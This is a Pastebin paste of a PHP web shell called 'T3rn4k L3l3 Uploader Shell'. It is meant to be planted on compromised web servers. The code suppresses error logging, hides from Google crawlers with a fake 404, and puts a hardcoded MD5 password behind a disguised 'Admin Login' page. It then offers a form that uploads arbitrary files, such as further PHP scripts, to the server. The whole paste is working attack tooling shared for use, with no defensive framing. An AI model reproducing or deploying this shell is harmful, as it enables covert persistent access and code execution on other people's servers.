Guest User

T3rn4k L3l3 Uploader Shell

a guest
May 16th, 2017
508
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.61 KB | None | 0 0
  1.  <?php
  2. @ini_set('output_buffering',0);
  3. @ini_set('display_errors', 0);
  4. // Default pas [x48]
  5. $auth_pass="3a81b4227cff025aa3a198377f3a849b";
  6. $color = "#FFFF00";
  7. $default_action = 'FilesMan';
  8. @define('SELF_PATH', __FILE__);
  9. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  10. header('HTTP/1.0 404 Not Found');
  11. exit;
  12. }
  13. @session_start();
  14. @error_reporting(0);
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('html_errors',0);
  18. @ini_set('max_execution_time',0);
  19. @ini_set('output_buffering',0);
  20. @ini_set('display_errors', 0);
  21. @ini_set('file_uploads',1);
  22. @set_time_limit(0);
  23. @set_magic_quotes_runtime(0);
  24. @clearstatcache();
  25. @define('VERSION', '2.1');
  26. if( get_magic_quotes_gpc() ) {
  27. function stripslashes_array($array) {
  28. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  29. }
  30. $_POST = stripslashes_array($_POST);
  31. }
  32. function printLogin() {
  33. ?>
  34.  
  35.  
  36. <!DOCTYPE html>
  37. <html>
  38. <head>
  39. <title>Admin Login</title>
  40. <meta name="robots" content="noindex, nofollow, noarchive">
  41. <link rel="icon" href="http://www.go-lock.club/favicon.ico" />
  42. <link href="http://fonts.googleapis.com/css?family=Atomic+Age" rel="stylesheet" type="text/css"> <style type="text/css">
  43.  
  44. body{ background:#000000; font-size:11px; font-family:Atomic Age; color:#fff; }
  45.  
  46. #main{ background:darkred; padding:2px 8px; -moz-border-radius: 10px; border-radius: 10px; width:100%; border:1px solid #fff;font-family:Atomic Age; }
  47.  
  48. .gaya { color:#fff; font-weight:bold; }
  49.  
  50. .inputz { background:black; border:0; padding:2px; border:1px solid white; font-size:11px; color:white; font-family:Atomic Age; }
  51.  
  52. .inputzbut{ font-size:11px; background:darkred; color:#fff; margin:0 4px; border:1px solid white; font-family:Atomic Age; }
  53.  
  54. .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:white; }
  55. </style>
  56. </head>
  57. <body>
  58. <table id="main">
  59. <tr>
  60. <td>    <br />
  61.  <center><img src="https://cdn.pbrd.co/images/6RXeCi5n8.png" width="100" height="100" /></center><br />
  62. <div style="width:100%;text-align:center;">    
  63. <form action="" method="post">  
  64. <img src="https://static.xx.fbcdn.net/images/emoji.php/v8/e31/1/16/PACMAN.png" style="margin:2px;vertical-align:middle;" width="12px" height="12px" />  Admin Login&nbsp;
  65. <input class="inputz" type="password" name="pass" style="width:120px;" value="" />  <input class="inputzbut" type="submit" value=" Login >> " name="submitlogin" style="width:80px;" />    
  66. </form>    
  67. </div>
  68. <br />
  69. </td>
  70. </tr>
  71. </table>
  72. <p class="footer"><a href="http://www.go-lock.club">Go-Lock Blog</a> &copy; 2017
  73. </p>
  74. </body>
  75. </html>
  76.  
  77.     <?php
  78.    exit;
  79. }
  80. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  81.     if( empty( $auth_pass ) ||
  82.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  83.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  84.     else
  85.         printLogin();
  86.       if(isset($_GET['log']) && ($_GET['log'] == 'out'))
  87. {  
  88. ?>
  89. <?php
  90.  unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  91.    
  92. }  
  93. ?>
  94.  
  95.    <html>
  96.      <head>
  97.      <link href='http://fonts.googleapis.com/css?family=Federant' rel='stylesheet' type='text/css'/>
  98.      <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css" />
  99.  <style type="text/css">
  100.  body {
  101.        background:black; font-size:11px;
  102.        font-family: Federant;
  103.     color: white;  }
  104.  a {
  105.      color: dodgerblue;
  106.      font-family: Federant;
  107.       }
  108.  a:hover {
  109.      border-bottom:1px solid aqua;
  110.       }
  111.  #menu a {
  112.      font-family: Federant;
  113.         padding:4px 15px;
  114.         margin:0;
  115.         background:darkred;
  116.         color:white;
  117.         text-decoration:none;
  118.         letter-spacing:2px;
  119.         -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  120.        }
  121.        #menu a:hover {
  122.         padding:4px 15px;
  123.         margin:0;
  124.          font-family: Federant;
  125.         background: grey;
  126.         color:white;
  127.         text-decoration:none;
  128.         letter-spacing:2px;
  129.         -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  130.        }
  131.   textarea {
  132.        width:600px;
  133.        height:200px;
  134.        background: black;
  135.        border:1px solid darkred;
  136.        color: white;
  137.        font-family: Federant;
  138.        }
  139.   input[type=text] , input[type=file] , select {  
  140.        background:black;
  141.        color:white;border: 1px solid darkred;
  142.        padding:6px 6px 6px 6px;
  143.        font-family: Federant;
  144.         }
  145.   input[type=submit] {
  146.        background:#b70505;
  147.        color:white;border: 1px solid #000;
  148.        padding:6px 6px 6px 6px;
  149.        font-family: Federant;
  150.        }
  151.   .subbtn:hover {
  152.        background:#c0bfbf;
  153.        color:#000000;
  154.        font-family: Federant;
  155.        }
  156.  
  157. td, th { font-size: 12pt; text-align: left; vertical-align: top; color: dodgerblue; }
  158. h1           { font-size: 16pt; text-align: center; }
  159. h1 a         { color: #000000 !important; text-decoration: none; }
  160. p            { text-align: center; font-size: 9pt; }
  161. p a          { color: #666666 !important; }
  162. table        {  margin: 0 auto; border-collapse: collapse; border: 1px solid #ffffff; min-width: 400px; }
  163. th, td       { padding: 5px 10px; }
  164. th           { background: black; color: #ffffff; }
  165. td a         { color: dodgerblue !important; text-decoration: none; }
  166. th img       { position: relative; top: -3px; left: 2px; }
  167. td           { border-bottom: 1px solid #cccccc; background: black; }
  168. tr.odd td    { background: black; }
  169.  
  170. #lol a {
  171.         padding:4px 15px;
  172.         margin:0;
  173.         background:darkgreen;
  174.         color:white;
  175.         text-decoration:none;
  176.         letter-spacing:2px;
  177.         -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  178.        }
  179.      
  180. </style>
  181.  
  182. <title>T3rn4k L3l3 Shell</title>
  183. <br />
  184.         <center> <font color="red" face="iceland" size="10">T3rn4k L3l3 Shell</font>
  185.          <br />
  186.          <br />
  187.          <br />
  188.          <form action="" method="post" enctype="multipart/form-data">
  189.           File :    <input type="file" name="file" />
  190.             <br />
  191.             <br />
  192.           Nama Baru :   <input type="text" name="ufile" value="t959.php" />    
  193.           <br />
  194.           <br />
  195.           <input name="upload" type="submit" value="Upload" />
  196.           </form>
  197.          
  198.           <?php if (isset($_REQUEST['ufile'])) { $ufile = $_POST ['ufile' ] ; } if (isset($_REQUEST['upload'])) { if ($_POST ['upload' ]){ if (@copy ($_FILES ['file' ]['tmp_name' ], $ufile )) {
  199.           echo "<b><font color='green'><a href='$ufile'>$ufile</a> = File Sukses Di Upload !!!</font></b>" ;
  200.           } else {
  201.           echo "<b><font color='red'><a href='$ufile'>$ufile</a> = File Gagal Di Upload !!!</font></b>" ;
  202.           } } }
  203.     ?></center>
Advertisement
Add Comment
Please, Sign In to add comment